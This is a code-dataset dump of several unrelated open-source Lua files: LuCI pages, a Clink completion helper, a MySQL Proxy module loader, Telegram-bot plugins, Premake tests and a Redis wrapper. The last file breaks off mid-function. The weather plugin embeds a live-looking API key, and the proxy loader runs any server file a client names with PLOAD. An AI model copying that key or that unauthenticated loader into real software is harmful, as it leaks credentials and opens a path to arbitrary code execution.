repo_name
stringlengths
6
69
path
stringlengths
6
178
copies
stringclasses
278 values
size
stringlengths
4
7
content
stringlengths
671
917k
license
stringclasses
15 values
dismantl/luci-0.12
applications/luci-diag-devinfo/luasrc/model/cbi/luci_diag/netdiscover_devinfo_mini.lua
141
1054
--[[ netdiscover_devinfo - SIP Device Information (c) 2009 Daniel Dickinson Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 $Id$ ]]-- require("luci.i18n") require("luci.util") require("luci.sys") require("luci.model.uci") require("luci.controller.luci_diag.netdiscover_common") require("luci.controller.luci_diag.devinfo_common") local debug = false m = SimpleForm("luci_devinfo", translate("Network Device Scan"), translate("Scan for devices on specified networks.")) m.reset = false m.submit = false local outnets = luci.controller.luci_diag.netdiscover_common.get_params() luci.controller.luci_diag.devinfo_common.run_processes(outnets, luci.controller.luci_diag.netdiscover_common.command_function) luci.controller.luci_diag.devinfo_common.parse_output(m, outnets, false, "netdiscover", true, debug) luci.controller.luci_diag.netdiscover_common.action_links(m, true) return m
apache-2.0
vladimir-kotikov/clink-completions
modules/multicharflags.lua
2
6163
-------------------------------------------------------------------------------- -- Helpers to add multi-character flags to an argmatcher. -- -- This makes it easy to add flags like `dir /o:nge` and be able to provide -- completions on the fly even after `dir /o:ng` has been typed. -- -- local mcf = require('multicharflags') -- -- local sortflags = clink.argmatcher() -- mcf.addcharflagsarg(sortflags, { -- { 'n', 'By name (alphabetic)' }, -- { 'e', 'By extension (alphabetic)' }, -- { 'g', 'Group directories first' }, -- { 's', 'By size (smallest first)' }, -- { 'd', 'By name (alphabetic)' }, -- { '-', 'Prefix to reverse order' }, -- }) -- clink.argmatcher('dir'):addflags('/o:'..sortflags) -- -- The exported functions are: -- -- local mcf = require('multicharflags') -- -- mcf.addcharflagsarg(argmatcher, chars_table) -- This adds an arg to argmatcher, for the character flags listed in -- chars_table (each table element is a sub-table with two fields, the -- character and its description). It returns argmatcher. -- -- mcf.setcharflagsclassifier(argmatcher, chars_table) -- This makes and sets a classifier for the character flags. This is -- for specialized scenarios, and is not normally needed because -- addcharflagsarg() automatically does this. -- -- mcf.makecharflagsclassifier(chars_table) -- Makes a character flags classifier. This is for specialized -- scenarios, and is not normally needed because addcharflagsarg() -- automatically does this. if not clink then -- E.g. some unit test systems will run this module *outside* of Clink. return end -------------------------------------------------------------------------------- local function index_chars_table(t) if not t.indexed then if t.caseless then for _, m in ipairs(t) do t[m[1]:lower()] = true t[m[1]:upper()] = true end else for _, m in ipairs(t) do t[m[1]] = true end end t.indexed = true end end local function compound_matches_func(chars, word, -- luacheck: no unused args, no unused word_index, line_state, builder, user_data) -- luacheck: no unused local info = line_state:getwordinfo(word_index) if not info then return {} end -- local used = {} local available = {} if chars.caseless then for _, m in ipairs(chars) do available[m[1]:lower()] = true available[m[1]:upper()] = true end else for _, m in ipairs(chars) do available[m[1]] = true end end word = line_state:getline():sub(info.offset, line_state:getcursor() - 1) for _, m in ipairs(chars) do if chars.caseless then local l = m[1]:lower() local u = m[1]:upper() if word:find(l, 1, true--[[plain]]) or word:find(u, 1, true--[[plain]]) then -- used[l] = true -- used[u] = true available[l] = false available[u] = false end else local c = m[1] if word:find(c, 1, true--[[plain]]) then -- used[c] = true available[c] = false end end end local last_c if #word > 0 then last_c = word:sub(-1) else last_c = line_state:getline():sub(info.offset - 1, info.offset - 1) end available['+'] = chars['+'] and last_c ~= '+' and last_c ~= '-' available['-'] = chars['-'] and last_c ~= '+' and last_c ~= '-' local matches = { nosort=true } for _, m in ipairs(chars) do local c = m[1] if available[c] then table.insert(matches, { match=word..c, display='\x1b[m'..c, description=m[2], suppressappend=true }) end end if builder.setvolatile then builder:setvolatile() elseif clink._reset_generate_matches then clink._reset_generate_matches() end return matches end local function get_bad_color() local bad = settings.get('color.unrecognized') if not bad or bad == '' then bad = '91' end return bad end local function compound_classifier(chars, arg_index, -- luacheck: no unused args word, word_index, line_state, classifications) local info = line_state:getwordinfo(word_index) if not info then return end local bad local good = settings.get('color.arg') for i = 1, #word do local c = word:sub(i, i) if chars[c] then classifications:applycolor(info.offset + i - 1, 1, good) else bad = bad or get_bad_color() classifications:applycolor(info.offset + i - 1, 1, bad) end end if chars['+'] then local plus_pos = info.offset + info.length if line_state:getline():sub(plus_pos, plus_pos) == '+' then classifications:applycolor(plus_pos, 1, good) end end end local function make_char_flags_classifier(chars) local function classifier_func(...) compound_classifier(chars, ...) end return classifier_func end local function set_char_flags_classifier(argmatcher, chars) if argmatcher.setclassifier then argmatcher:setclassifier(make_char_flags_classifier(chars)) end return argmatcher end local function add_char_flags_arg(argmatcher, chars, ...) index_chars_table(chars) local matches_func = function (...) return compound_matches_func(chars, ...) end local t = { matches_func } if chars['+'] then t.loopchars = '+' end argmatcher:addarg(t, ...) set_char_flags_classifier(argmatcher, chars) return argmatcher end -------------------------------------------------------------------------------- return { addcharflagsarg = add_char_flags_arg, makecharflagsclassifier = make_char_flags_classifier, setcharflagsclassifier = set_char_flags_classifier, }
mit
aruanruan/Atlas
lib/load-multi.lua
39
13282
--[[ $%BEGINLICENSE%$ Copyright (c) 2007, 2008, Oracle and/or its affiliates. All rights reserved. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; version 2 of the License. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA $%ENDLICENSE%$ --]] --- --[[ (Not so) simple example of a run-time module loader for MySQL Proxy Usage: 1. load this module in the Proxy. 2. From a client, run the command PLOAD name_of_script and you can use the features implemented in the new script immediately. 3. Successive calls to PLOAD will load a new one. 4. Previous scripts will still be active, and the loader will use all of them in sequence to see if one handles the request 5. CAVEAT. If your script has a read_query function that *always* returns a non null value (e.g. a logging feature) then other modules, although loaded, are not used. If you have any such modules, you must load them at the end of the sequence. 6. to remove a module, use UNLOAD module_name IMPORTANT NOTICE: the proxy will try to load the file in the directory where the proxy (NOT THE CLIENT) was started. To use modules not in such directory, you need to specify an absolute path. --]] local VERSION = '0.1.3' local DEBUG = os.getenv('DEBUG') or 0 DEBUG = DEBUG + 0 --- -- print_debug() -- conditionally print a message -- function proxy.global.print_debug (msg) if DEBUG > 0 then print(msg) end end --- -- Handlers for MySQL Proxy hooks -- Initially, they are void. -- If the loaded module has implemented any -- functions, they are associated with these handlers -- if proxy.global.loaded_handlers == nil then proxy.global.loaded_handlers = { rq = {}, rqr = {}, dc = {}, cs = {}, rh = {}, ra = {}, rar = {}, } end --- -- list of functions loaded from user modules -- if proxy.global.handled_function == nil then proxy.global.handled_functions = { rq = 'read_query', rqr = 'read_query_result', cs = 'connect_server', rh = 'read_handshake', ra = 'read_auth', rar = 'read_auth_result', dc = 'disconnect_client', } end if proxy.global.handler_status == nil then proxy.global.handler_status = {} end local funcs_to_create = { cs = 0, ra = 1, rar = 1, rh = 1, dc = 0, } --- -- creates the hooks for Proxy handled functions -- for id, has_param in pairs(funcs_to_create) do local parameter = has_param == 1 and 'myarg' or '' local fstr = string.format( [[ function %s(%s) if #proxy.global.loaded_handlers['%s'] then for i, h in pairs(proxy.global.loaded_handlers['%s']) do if h then proxy.global.print_debug ( 'handling "%s" using ' .. h.name) local result = h.handler(%s) if result then return result end end end end -- return end ]], proxy.global.handled_functions[id], parameter, id, id, proxy.global.handled_functions[id], parameter ) proxy.global.print_debug ('creating function ' .. proxy.global.handled_functions[id]) assert(loadstring(fstr))() end --- -- an error string to describe the error occurring -- local load_multi_error_str = '' --- -- set_error() -- -- sets the error string -- -- @param msg the message to be assigned to the error string -- function set_error(msg) load_multi_error_str = msg proxy.global.print_debug (msg) return nil end --- -- file_exists() -- -- checks if a file exists -- -- @param fname the file name -- function file_exists(fname) local fh=io.open( fname, 'r') if fh then fh:close() return true else return false end end local module_counter = 0 --- -- get_module() -- -- This function scans an existing lua file, and turns it into -- a closure exporting two function handlers, one for -- read_query() and one for read_query_result(). -- If the input script does not contain the above functions, -- get_module fails. -- -- @param module_name the name of the existing script -- function get_module(module_name) -- -- assumes success -- load_multi_error_str = '' -- -- the module is copied to a temporary file -- on a given directory -- module_counter = module_counter + 1 local new_module = 'tmpmodule' .. module_counter local tmp_dir = '/tmp/' local new_filename = tmp_dir .. new_module .. '.lua' local source_script = module_name if not source_script:match('.lua$') then source_script = source_script .. '.lua' end -- -- if the new module does not exist -- an error is returned -- if not file_exists(source_script) then set_error('file not found ' .. source_script) return end -- -- if the module directory is not on the search path, -- we need to add it -- if not package.path:match(tmp_dir) then package.path = tmp_dir .. '?.lua;' .. package.path end -- -- Make sure that the module is not loaded. -- If we don't remove it from the list of loaded modules, -- subsequent load attempts will silently fail -- package.loaded[new_module] = nil local ofh = io.open(new_filename, 'w') -- -- Writing to the new package, starting with the -- header and the wrapper function -- ofh:write( string.format( "module('%s', package.seeall)\n" .. "function make_funcs()\n" , new_module) ) local found_funcs = {} -- -- Copying contents from the original script -- to the new module, and checking for the existence -- of the handler functions -- for line in io.lines(source_script) do ofh:write(line .. "\n") for i,v in pairs(proxy.global.handled_functions) do if line:match('^%s*function%s+' ..v .. '%s*%(') then found_funcs[i] = v break end end end -- -- closing the wrapper on the new module -- local return_value = '' for i,v in pairs(found_funcs) do return_value = return_value .. i .. ' = ' .. v .. ', ' end ofh:write( 'return { ' .. return_value .. '}\n' .. 'end\n' ) ofh:close() -- -- Final check. If the handlers were not found, the load fails -- -- if (found_one == false ) then set_error('script ' .. source_script .. ' does not contain a proxy handled function') return end -- -- All set. The new module is loaded -- with a new function that will return the handlers -- local result = require(new_module) os.remove(new_filename) return result end --- -- simple_dataset() -- -- returns a dataset made of a header and a message -- -- @param header the column name -- @param message the contents of the column function proxy.global.simple_dataset (header, message) proxy.response.type = proxy.MYSQLD_PACKET_OK proxy.response.resultset = { fields = {{type = proxy.MYSQL_TYPE_STRING, name = header}}, rows = { { message} } } return proxy.PROXY_SEND_RESULT end --- -- make_regexp_from_command() -- -- creates a regular expression for fast scanning of the command -- -- @param cmd the command to be converted to regexp -- function proxy.global.make_regexp_from_command(cmd, options) local regexp= '^%s*'; for ch in cmd:gmatch('(.)') do regexp = regexp .. '[' .. ch:upper() .. ch:lower() .. ']' end if options and options.capture then regexp = regexp .. '%s+(%S+)' end return regexp end -- -- The default command for loading a new module is PLOAD -- You may change it through an environment variable -- local proxy_load_command = os.getenv('PLOAD') or 'pload' local proxy_unload_command = os.getenv('PUNLOAD') or 'punload' local proxy_help_command = os.getenv('PLOAD_HELP') or 'pload_help' local currently_using = 0 local pload_regexp = proxy.global.make_regexp_from_command(proxy_load_command, {capture = 1}) local punload_regexp = proxy.global.make_regexp_from_command(proxy_unload_command,{ capture = 1} ) local pload_help_regexp = proxy.global.make_regexp_from_command(proxy_help_command,{ capture = nil} ) local pload_help_dataset = { {proxy_load_command .. ' module_name', 'loads a given module'}, {proxy_unload_command .. 'module_name', 'unloads and existing module'}, {proxy_help_command, 'shows this help'}, } --- -- removes a module from the loaded list -- function remove_module (module_name) local found_module = false local to_delete = { loaded = {}, status = {} } for i,lmodule in pairs(proxy.global.handler_status) do if i == module_name then found_module = true local counter = 0 for j,h in pairs(lmodule) do -- proxy.global.print_debug('removing '.. module_name .. ' (' .. i ..') ' .. h.id .. ' -> ' .. h.ndx ) to_delete['loaded'][h.id] = h.ndx counter = counter + 1 to_delete['status'][i] = counter end end end for i,v in pairs (to_delete['loaded']) do table.remove(proxy.global.loaded_handlers[i], v) end for i,v in pairs (to_delete['status']) do table.remove(proxy.global.handler_status[i], v) end if found_module == false then return proxy.global.simple_dataset(module_name, 'NOT FOUND') end return proxy.global.simple_dataset(module_name, 'unloaded') end --- -- creates a dataset from a list of header names -- and a list of rows -- @param header a list of field names -- @param dataset a list of row contents function proxy.global.make_dataset (header, dataset) proxy.response.type = proxy.MYSQLD_PACKET_OK proxy.response.resultset = { fields = {}, rows = {} } for i,v in pairs (header) do table.insert(proxy.response.resultset.fields, {type = proxy.MYSQL_TYPE_STRING, name = v}) end for i,v in pairs (dataset) do table.insert(proxy.response.resultset.rows, v ) end return proxy.PROXY_SEND_RESULT end -- -- This function is called at each query. -- The request for loading a new script is handled here -- function read_query (packet) currently_using = 0 if packet:byte() ~= proxy.COM_QUERY then return end local query = packet:sub(2) -- Checks if a PLOAD command was issued. -- A regular expresion check is faster than -- doing a full tokenization. (Especially on large queries) -- if (query:match(pload_help_regexp)) then return proxy.global.make_dataset({'command','description'}, pload_help_dataset) end local unload_module = query:match(punload_regexp) if (unload_module) then return remove_module(unload_module) end local new_module = query:match(pload_regexp) if (new_module) then --[[ If a request for loading is received, then we attempt to load the new module using the get_module() function --]] local new_tablespace = get_module(new_module) if (new_tablespace) then local handlers = new_tablespace.make_funcs() -- -- The new module must have at least handlers for read_query() -- or disconnect_client. read_query_result() is optional. -- The loading function returns nil if no handlers were found -- proxy.global.print_debug('') proxy.global.handler_status[new_module] = {} for i,v in pairs( proxy.global.handled_functions) do local handler_str = type(handlers[i]) proxy.global.print_debug (i .. ' ' .. handler_str ) if handlers[i] then table.insert(proxy.global.loaded_handlers[i] , { name = new_module, handler = handlers[i]} ) table.insert(proxy.global.handler_status[new_module], { func = proxy.global.handled_functions[i], id=i, ndx = #proxy.global.loaded_handlers[i] }) end end if handlers['rqr'] and not handlers['rq'] then table.insert(proxy.global.loaded_handlers['rq'] , nil ) end if handlers['rq'] and not handlers['rqr'] then table.insert(proxy.global.loaded_handlers['rqr'] , nil ) end -- -- Returns a confirmation that a new module was loaded -- return proxy.global.simple_dataset('info', 'module "' .. new_module .. '" loaded' ) else -- -- The load was not successful. -- Inform the user -- return proxy.global.simple_dataset('ERROR', 'load of "' .. new_module .. '" failed (' .. load_multi_error_str .. ')' ) end end -- -- If a handler was installed from a new module, it is called -- now. -- if #proxy.global.loaded_handlers['rq'] then for i,rqh in pairs(proxy.global.loaded_handlers['rq']) do proxy.global.print_debug ( 'handling "read_query" using ' .. i .. ' -> ' .. rqh.name) local result = rqh.handler(packet) if (result) then currently_using = i return result end end end end -- -- this function is called every time a result set is -- returned after an injected query -- function read_query_result(inj) -- -- If the dynamically loaded module had an handler for read_query_result() -- it is called now -- local rqrh = proxy.global.loaded_handlers['rqr'][currently_using] if rqrh then proxy.global.print_debug ( 'handling "read_query_result" using ' .. currently_using .. ' -> ' .. rqrh.name) local result = rqrh.handler(inj) if result then return result end end end
gpl-2.0
Death15/swatch
plugins/media.lua
297
1590
do local function run(msg, matches) local receiver = get_receiver(msg) local url = matches[1] local ext = matches[2] local file = download_to_file(url) local cb_extra = {file_path=file} local mime_type = mimetype.get_content_type_no_sub(ext) if ext == 'gif' then print('send_file') send_document(receiver, file, rmtmp_cb, cb_extra) elseif mime_type == 'text' then print('send_document') send_document(receiver, file, rmtmp_cb, cb_extra) elseif mime_type == 'image' then print('send_photo') send_photo(receiver, file, rmtmp_cb, cb_extra) elseif mime_type == 'audio' then print('send_audio') send_audio(receiver, file, rmtmp_cb, cb_extra) elseif mime_type == 'video' then print('send_video') send_video(receiver, file, rmtmp_cb, cb_extra) else print('send_file') send_file(receiver, file, rmtmp_cb, cb_extra) end end return { description = "When user sends media URL (ends with gif, mp4, pdf, etc.) download and send it to origin.", usage = "", patterns = { "(https?://[%w-_%.%?%.:/%+=&]+%.(gif))$", "(https?://[%w-_%.%?%.:/%+=&]+%.(mp4))$", "(https?://[%w-_%.%?%.:/%+=&]+%.(pdf))$", "(https?://[%w-_%.%?%.:/%+=&]+%.(ogg))$", "(https?://[%w-_%.%?%.:/%+=&]+%.(zip))$", "(https?://[%w-_%.%?%.:/%+=&]+%.(mp3))$", "(https?://[%w-_%.%?%.:/%+=&]+%.(rar))$", "(https?://[%w-_%.%?%.:/%+=&]+%.(wmv))$", "(https?://[%w-_%.%?%.:/%+=&]+%.(doc))$", "(https?://[%w-_%.%?%.:/%+=&]+%.(avi))$", "(https?://[%w-_%.%?%.:/%+=&]+%.(webp))$" }, run = run } end
gpl-2.0
facebokiii/arman
plugins/media.lua
297
1590
do local function run(msg, matches) local receiver = get_receiver(msg) local url = matches[1] local ext = matches[2] local file = download_to_file(url) local cb_extra = {file_path=file} local mime_type = mimetype.get_content_type_no_sub(ext) if ext == 'gif' then print('send_file') send_document(receiver, file, rmtmp_cb, cb_extra) elseif mime_type == 'text' then print('send_document') send_document(receiver, file, rmtmp_cb, cb_extra) elseif mime_type == 'image' then print('send_photo') send_photo(receiver, file, rmtmp_cb, cb_extra) elseif mime_type == 'audio' then print('send_audio') send_audio(receiver, file, rmtmp_cb, cb_extra) elseif mime_type == 'video' then print('send_video') send_video(receiver, file, rmtmp_cb, cb_extra) else print('send_file') send_file(receiver, file, rmtmp_cb, cb_extra) end end return { description = "When user sends media URL (ends with gif, mp4, pdf, etc.) download and send it to origin.", usage = "", patterns = { "(https?://[%w-_%.%?%.:/%+=&]+%.(gif))$", "(https?://[%w-_%.%?%.:/%+=&]+%.(mp4))$", "(https?://[%w-_%.%?%.:/%+=&]+%.(pdf))$", "(https?://[%w-_%.%?%.:/%+=&]+%.(ogg))$", "(https?://[%w-_%.%?%.:/%+=&]+%.(zip))$", "(https?://[%w-_%.%?%.:/%+=&]+%.(mp3))$", "(https?://[%w-_%.%?%.:/%+=&]+%.(rar))$", "(https?://[%w-_%.%?%.:/%+=&]+%.(wmv))$", "(https?://[%w-_%.%?%.:/%+=&]+%.(doc))$", "(https?://[%w-_%.%?%.:/%+=&]+%.(avi))$", "(https?://[%w-_%.%?%.:/%+=&]+%.(webp))$" }, run = run } end
gpl-2.0
Ali-2h/wwefucker
plugins/media.lua
297
1590
do local function run(msg, matches) local receiver = get_receiver(msg) local url = matches[1] local ext = matches[2] local file = download_to_file(url) local cb_extra = {file_path=file} local mime_type = mimetype.get_content_type_no_sub(ext) if ext == 'gif' then print('send_file') send_document(receiver, file, rmtmp_cb, cb_extra) elseif mime_type == 'text' then print('send_document') send_document(receiver, file, rmtmp_cb, cb_extra) elseif mime_type == 'image' then print('send_photo') send_photo(receiver, file, rmtmp_cb, cb_extra) elseif mime_type == 'audio' then print('send_audio') send_audio(receiver, file, rmtmp_cb, cb_extra) elseif mime_type == 'video' then print('send_video') send_video(receiver, file, rmtmp_cb, cb_extra) else print('send_file') send_file(receiver, file, rmtmp_cb, cb_extra) end end return { description = "When user sends media URL (ends with gif, mp4, pdf, etc.) download and send it to origin.", usage = "", patterns = { "(https?://[%w-_%.%?%.:/%+=&]+%.(gif))$", "(https?://[%w-_%.%?%.:/%+=&]+%.(mp4))$", "(https?://[%w-_%.%?%.:/%+=&]+%.(pdf))$", "(https?://[%w-_%.%?%.:/%+=&]+%.(ogg))$", "(https?://[%w-_%.%?%.:/%+=&]+%.(zip))$", "(https?://[%w-_%.%?%.:/%+=&]+%.(mp3))$", "(https?://[%w-_%.%?%.:/%+=&]+%.(rar))$", "(https?://[%w-_%.%?%.:/%+=&]+%.(wmv))$", "(https?://[%w-_%.%?%.:/%+=&]+%.(doc))$", "(https?://[%w-_%.%?%.:/%+=&]+%.(avi))$", "(https?://[%w-_%.%?%.:/%+=&]+%.(webp))$" }, run = run } end
gpl-2.0
soundsrc/premake-core
modules/vstudio/tests/cs2005/test_output_props.lua
14
1371
-- -- tests/actions/vstudio/cs2005/test_output_props.lua -- Test the target output settings of a Visual Studio 2005+ C# project. -- Copyright (c) 2012-2013 Jason Perkins and the Premake project -- local p = premake local suite = test.declare("vstudio_cs2005_output_props") local dn2005 = p.vstudio.dotnetbase local project = p.project -- -- Setup and teardown -- local wks, prj function suite.setup() p.action.set("vs2005") wks, prj = test.createWorkspace() language "C#" end local function prepare() local cfg = test.getconfig(prj, "Debug") dn2005.outputProps(cfg) end -- -- Check handling of the output directory. -- function suite.outputDirectory_onTargetDir() targetdir "../build" prepare() test.capture [[ <OutputPath>..\build\</OutputPath> ]] end -- -- Check handling of the intermediates directory. -- function suite.intermediateDirectory_onVs2008() p.action.set("vs2008") prepare() test.capture [[ <OutputPath>bin\Debug\</OutputPath> <IntermediateOutputPath>obj\Debug\</IntermediateOutputPath> ]] end function suite.intermediateDirectory_onVs2010() p.action.set("vs2010") prepare() test.capture [[ <OutputPath>bin\Debug\</OutputPath> <BaseIntermediateOutputPath>obj\Debug\</BaseIntermediateOutputPath> <IntermediateOutputPath>$(BaseIntermediateOutputPath)</IntermediateOutputPath> ]] end
bsd-3-clause
Ali-2h/wwefucker
plugins/weather.lua
274
1531
do local BASE_URL = "http://api.openweathermap.org/data/2.5/weather" local function get_weather(location) print("Finding weather in ", location) location = string.gsub(location," ","+") local url = BASE_URL url = url..'?q='..location url = url..'&units=metric' url = url..'&appid=bd82977b86bf27fb59a04b61b657fb6f' local b, c, h = http.request(url) if c ~= 200 then return nil end local weather = json:decode(b) local city = weather.name local country = weather.sys.country local temp = 'The temperature in '..city ..' (' ..country..')' ..' is '..weather.main.temp..'°C' local conditions = 'Current conditions are: ' .. weather.weather[1].description if weather.weather[1].main == 'Clear' then conditions = conditions .. ' ☀' elseif weather.weather[1].main == 'Clouds' then conditions = conditions .. ' ☁☁' elseif weather.weather[1].main == 'Rain' then conditions = conditions .. ' ☔' elseif weather.weather[1].main == 'Thunderstorm' then conditions = conditions .. ' ☔☔☔☔' end return temp .. '\n' .. conditions end local function run(msg, matches) local city = 'Madrid,ES' if matches[1] ~= '!weather' then city = matches[1] end local text = get_weather(city) if not text then text = 'Can\'t get weather from that city.' end return text end return { description = "weather in that city (Madrid is default)", usage = "!weather (city)", patterns = { "^!weather$", "^!weather (.*)$" }, run = run } end
gpl-2.0
chegenipapi/sajadchegen
libs/redis.lua
566
1214
local Redis = require 'redis' local FakeRedis = require 'fakeredis' local params = { host = os.getenv('REDIS_HOST') or '127.0.0.1', port = tonumber(os.getenv('REDIS_PORT') or 6379) } local database = os.getenv('REDIS_DB') local password = os.getenv('REDIS_PASSWORD') -- Overwrite HGETALL Redis.commands.hgetall = Redis.command('hgetall', { response = function(reply, command, ...) local new_reply = { } for i = 1, #reply, 2 do new_reply[reply[i]] = reply[i + 1] end return new_reply end }) local redis = nil -- Won't launch an error if fails local ok = pcall(function() redis = Redis.connect(params) end) if not ok then local fake_func = function() print('\27[31mCan\'t connect with Redis, install/configure it!\27[39m') end fake_func() fake = FakeRedis.new() print('\27[31mRedis addr: '..params.host..'\27[39m') print('\27[31mRedis port: '..params.port..'\27[39m') redis = setmetatable({fakeredis=true}, { __index = function(a, b) if b ~= 'data' and fake[b] then fake_func(b) end return fake[b] or fake_func end }) else if password then redis:auth(password) end if database then redis:select(database) end end return redis
gpl-2.0
soundsrc/premake-core
modules/vstudio/tests/vc2010/test_floatingpoint.lua
16
1050
--- -- tests/actions/vstudio/vc2010/test_floatingpoint.lua -- Validate handling of vectorextensions() in VS 2010 C/C++ projects. -- -- Created 26 Mar 2015 by Jason Perkins -- Copyright (c) 2015 Jason Perkins and the Premake project --- local p = premake local suite = test.declare("vs2010_vc_floatingpoint") local m = p.vstudio.vc2010 local wks, prj function suite.setup() p.action.set("vs2010") wks, prj = test.createWorkspace() end local function prepare() local cfg = test.getconfig(prj, "Debug") m.floatingPointModel(cfg) end function suite.instructionSet_onNotSet() test.isemptycapture() end function suite.floatingPoint_onFloatFast() floatingpoint "fast" prepare() test.capture [[ <FloatingPointModel>Fast</FloatingPointModel> ]] end function suite.floatingPoint_onFloatStrict() floatingpoint "strict" prepare() test.capture [[ <FloatingPointModel>Strict</FloatingPointModel> ]] end function suite.floatingPoint_onDefault() floatingpoint "Default" prepare() test.isemptycapture() end
bsd-3-clause
RedSnake64/openwrt-luci-packages
applications/luci-app-pbx/luasrc/model/cbi/pbx-users.lua
146
5623
--[[ Copyright 2011 Iordan Iordanov <iiordanov (AT) gmail.com> This file is part of luci-pbx. luci-pbx is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. luci-pbx is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with luci-pbx. If not, see <http://www.gnu.org/licenses/>. ]]-- if nixio.fs.access("/etc/init.d/asterisk") then server = "asterisk" elseif nixio.fs.access("/etc/init.d/freeswitch") then server = "freeswitch" else server = "" end modulename = "pbx-users" modulenamecalls = "pbx-calls" modulenameadvanced = "pbx-advanced" m = Map (modulename, translate("User Accounts"), translate("Here you must configure at least one SIP account, that you \ will use to register with this service. Use this account either in an Analog Telephony \ Adapter (ATA), or in a SIP software like CSipSimple, Linphone, or Sipdroid on your \ smartphone, or Ekiga, Linphone, or X-Lite on your computer. By default, all SIP accounts \ will ring simultaneously if a call is made to one of your VoIP provider accounts or GV \ numbers.")) -- Recreate the config, and restart services after changes are commited to the configuration. function m.on_after_commit(self) luci.sys.call("/etc/init.d/pbx-" .. server .. " restart 1\>/dev/null 2\>/dev/null") luci.sys.call("/etc/init.d/" .. server .. " restart 1\>/dev/null 2\>/dev/null") end externhost = m.uci:get(modulenameadvanced, "advanced", "externhost") bindport = m.uci:get(modulenameadvanced, "advanced", "bindport") ipaddr = m.uci:get("network", "lan", "ipaddr") ----------------------------------------------------------------------------- s = m:section(NamedSection, "server", "user", translate("Server Setting")) s.anonymous = true if ipaddr == nil or ipaddr == "" then ipaddr = "(IP address not static)" end if bindport ~= nil then just_ipaddr = ipaddr ipaddr = ipaddr .. ":" .. bindport end s:option(DummyValue, "ipaddr", translate("Server Setting for Local SIP Devices"), translate("Enter this IP (or IP:port) in the Server/Registrar setting of SIP devices you will \ use ONLY locally and never from a remote location.")).default = ipaddr if externhost ~= nil then if bindport ~= nil then just_externhost = externhost externhost = externhost .. ":" .. bindport end s:option(DummyValue, "externhost", translate("Server Setting for Remote SIP Devices"), translate("Enter this hostname (or hostname:port) in the Server/Registrar setting of SIP \ devices you will use from a remote location (they will work locally too).") ).default = externhost end if bindport ~= nil then s:option(DummyValue, "bindport", translate("Port Setting for SIP Devices"), translatef("If setting Server/Registrar to %s or %s does not work for you, try setting \ it to %s or %s and entering this port number in a separate field that specifies the \ Server/Registrar port number. Beware that some devices have a confusing \ setting that sets the port where SIP requests originate from on the SIP \ device itself (the bind port). The port specified on this page is NOT this bind port \ but the port this service listens on.", ipaddr, externhost, just_ipaddr, just_externhost)).default = bindport end ----------------------------------------------------------------------------- s = m:section(TypedSection, "local_user", translate("SIP Device/Softphone Accounts")) s.anonymous = true s.addremove = true s:option(Value, "fullname", translate("Full Name"), translate("You can specify a real name to show up in the Caller ID here.")) du = s:option(Value, "defaultuser", translate("User Name"), translate("Use (four to five digit) numeric user name if you are connecting normal telephones \ with ATAs to this system (so they can dial user names).")) du.datatype = "uciname" pwd = s:option(Value, "secret", translate("Password"), translate("Your password disappears when saved for your protection. It will be changed \ only when you enter a value different from the saved one.")) pwd.password = true pwd.rmempty = false -- We skip reading off the saved value and return nothing. function pwd.cfgvalue(self, section) return "" end -- We check the entered value against the saved one, and only write if the entered value is -- something other than the empty string, and it differes from the saved value. function pwd.write(self, section, value) local orig_pwd = m:get(section, self.option) if value and #value > 0 and orig_pwd ~= value then Value.write(self, section, value) end end p = s:option(ListValue, "ring", translate("Receives Incoming Calls")) p:value("yes", translate("Yes")) p:value("no", translate("No")) p.default = "yes" p = s:option(ListValue, "can_call", translate("Makes Outgoing Calls")) p:value("yes", translate("Yes")) p:value("no", translate("No")) p.default = "yes" return m
apache-2.0
FastTM/Fast-Unique
plugins/banhammer.lua
1
6430
local plugin = {} local function get_motivation(msg) if msg.reply then return msg.text:match(("%sban (.+)"):format(config.cmd)) or msg.text:match(("%skick (.+)"):format(config.cmd)) or msg.text:match(("%skick .+\n(.+)"):format(config.cmd)) else if msg.text:find(config.cmd.."ban @%w[%w_]+ ") or msg.text:find(config.cmd.."kick @%w[%w_]+ ") then return msg.text:match(config.cmd.."ban @%w[%w_]+ (.+)") or msg.text:match(config.cmd.."kick @%w[%w_]+ (.+)") elseif msg.text:find(config.cmd.."ban %d+ ") or msg.text:find(config.cmd.."kick %d+ ") then return msg.text:match(config.cmd.."ban %d+ (.+)") or msg.text:match(config.cmd.."kick %d+ (.+)") elseif msg.entities then return msg.text:match(config.cmd.."ban .+\n(.+)") or msg.text:match(config.cmd.."kick .+\n(.+)") end end end function plugin.cron() local all = db:hgetall('tempbanned') if next(all) then for unban_time, info in pairs(all) do if os.time() > tonumber(unban_time) then local chat_id, user_id = info:match('(-%d+):(%d+)') api.unbanUser(chat_id, user_id) db:hdel('tempbanned', unban_time) db:srem('chat:'..chat_id..':tempbanned', user_id) --hash needed to check if an user is already tempbanned or not end end end end local function check_valid_time(temp) temp = tonumber(temp) if temp == 0 then return false, 1 elseif temp > 168 then --1 week return false, 2 else return temp end end local function get_hours_from_string(input) if input:match('^%d+$') then return tonumber(input) else local days = input:match('(%d)%s?d') if not days then days = 0 end local hours = input:match('(%d%d?)%s?h') if not hours then hours = 0 end if not days and not hours then return input:match('(%d+)') else return ((tonumber(days))*24)+(tonumber(hours)) end end end local function get_time_reply(hours) local time_string = '' local time_table = {} time_table.days = math.floor(hours/24) time_table.hours = hours - (time_table.days*24) if time_table.days ~= 0 then time_string = time_table.days..'d' end if time_table.hours ~= 0 then time_string = time_string..' '..time_table.hours..'h' end return time_string, time_table end function plugin.onTextMessage(msg, blocks) if msg.chat.type ~= 'private' then if roles.is_admin_cached(msg) then local user_id, error_translation_key = misc.get_user_id(msg, blocks) if not user_id then 